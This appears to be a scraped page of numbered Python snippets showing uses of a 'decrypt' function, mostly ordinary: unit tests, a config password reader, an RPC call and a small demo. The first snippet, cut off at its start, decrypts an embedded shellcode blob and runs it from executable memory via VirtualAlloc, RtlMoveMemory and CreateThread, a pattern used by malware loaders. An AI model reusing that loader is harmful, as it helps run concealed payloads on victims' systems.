    shellcode = "\x2a\xe1\xc7\x37\xb4\x87\x99\xc2\xf9\xc4\x01\xd9\x97\x1b\x12\xf4\x04\xb5\xe4\x3b\x8e\xc3\xeb\x7b\x4e\xe0\x47\xa5\x90\x71\xf3\x51\xa5\x4b\x33\x05\x94\x1d\x2b\xba\x3c\x54\xfd\x65\xd4\x01\xfb\xa8\x52\x09\xb1\x30\x75\xf0\x98\x41\xd2\xc3\x7b\x93\xcb\x13\xe7\xa3\x89\xd8\x1e\xd2\xf8\x5c\xcd\xc4\x77\xb1\x95\x68\xbb\x3f\xd2\x52\xa4\xc5\x1f\x00\xa5\x42\x0d\xe5\x82\x18\x94\xfd\x92\xca\x68\xfe\x5a\x08\xe4\x39\x78\x01\xbe\x92\x33\x09\x5a\x38\x81\x06\x51\x3d\x32\xba\xa6\x9c\x77\x77\xe4\xb0\x0d\x2f\x92\xe2\xf3\x32\x8d\xbe\xcf\x27\x80\xfa\xd6\x19\x54\xe1\xdc\xcf\x29\xde\xb6\x78\x32\x12\xc6\x83\xc9\xb3\xb7\x3d\x34\xfb\xea\x75\x56\xd3\xc3\x7a\x3b\x1d\x80\xd0\x02\xd7\x47\x41\xf1\xbb\xa0\xc6\xf7\x17\x08\x0f\x75\xa6\xf0\xb3\xa7\x1d\xab\x57\xd8\xfe\x2d\x78\xdc\xad\x5e\x5f\xd9\x71\xf5\x4c\xee\x52\x53\x75\xf1\xe8\x3d\xde\x26\x01\x1e\x0c\x79\x9c\x85\x28\x9e\x35\x58\x80\xd4\xd3\xd8\x6d\x14\x37\x72\xe5\x80\xea\xff\x6b\x37\xf5\x38\x87\x66\x19\xd8\x5c\x83\xa7\x7c\x6f\x9a\xc3"

    shellcode = crypt.decrypt(shellcode)
    print "Running shellcode..."
    shellcode = bytearray(shellcode)
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                              ctypes.c_int(len(shellcode)),
                                              ctypes.c_int(0x3000),
                                              ctypes.c_int(0x40))

    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf,
                                         ctypes.c_int(len(shellcode)))

    ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0),
                                             ctypes.c_int(ptr),
                                             ctypes.c_int(0), ctypes.c_int(0),
                                             ctypes.pointer(ctypes.c_int(0)))

    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
                                               ctypes.c_int(-1))
Пример #40
0
def decrypt(h_pwd_):
    history_message = crypt.decrypt(read(), h_pwd_)
    if len(history_message) != config.history_file_len:  # wrong length
        if __debug__: print 'a'
        return False
    history_features_str = history_message.split(';')
    global history_features
    if len(history_features_str) == 6:  # verify if there are 5 groups of features
        for i in xrange(5):
            if len(history_features_str[i].split(',')) != config.max_features:
                return False
        pad_str = '0' * len(history_features_str[5])  # length of padded part
        if history_features_str[5] == pad_str:  # check if redundant part is string of '0'
            history_features = from_string(history_message)  # extract history features
            return True
        else:   # decryption failed
            if __debug__: print 'b'
            return False
    else:   # decryption failed
        if __debug__:
            print 'c'
            print len(history_features_str)
        return False
Пример #41
0
 def SetDefaultValues(self):
  self.general.email.SetValue(self.config['credentials'].get('email', ''))
  self.general.passwd.SetValue(decrypt(self.config['credentials'].get('passwd', '')))
Пример #42
0
def rpc_call(host):
    c=zerorpc.Client()
    c.connect("tcp://%s" % host)
    get_str=c.hello("hostname")
#    print get_str
    print crypt.decrypt(get_str)
Пример #43
0
	def test3(self):
		message = '{"message_type":"kill", "kill" : "sensor1"}'
		secret = 'passw0rd'
		encrypted = encrypt(message, secret)
		decrypted = decrypt(encrypted, secret)
		self.assertTrue(message == decrypted)
Пример #44
0
	def test1(self):
		message = 'message1'
		secret = 'secret1'
		encrypted = encrypt(message, secret)
		decrypted = decrypt(encrypted, secret)
		self.assertTrue(message == decrypted)
Пример #45
0
	def test2(self):
		message = '1:<&6df(86};;<sdfh9+_)(*":]'
		secret = 'la3^*2)**&<;:'
		encrypted = encrypt(message, secret)
		decrypted = decrypt(encrypted, secret)
		self.assertTrue(message == decrypted)
Пример #46
0
#!/usr/bin/env python
# coding=utf-8

import crypt


if __name__ == "__main__":
    name = "abcdefg"
    print "Before : %s " % name
    encode = crypt.encrypt(name)
    print "encode : %s " % encode

    decode = crypt.decrypt(encode)
    print "decode : %s " % decode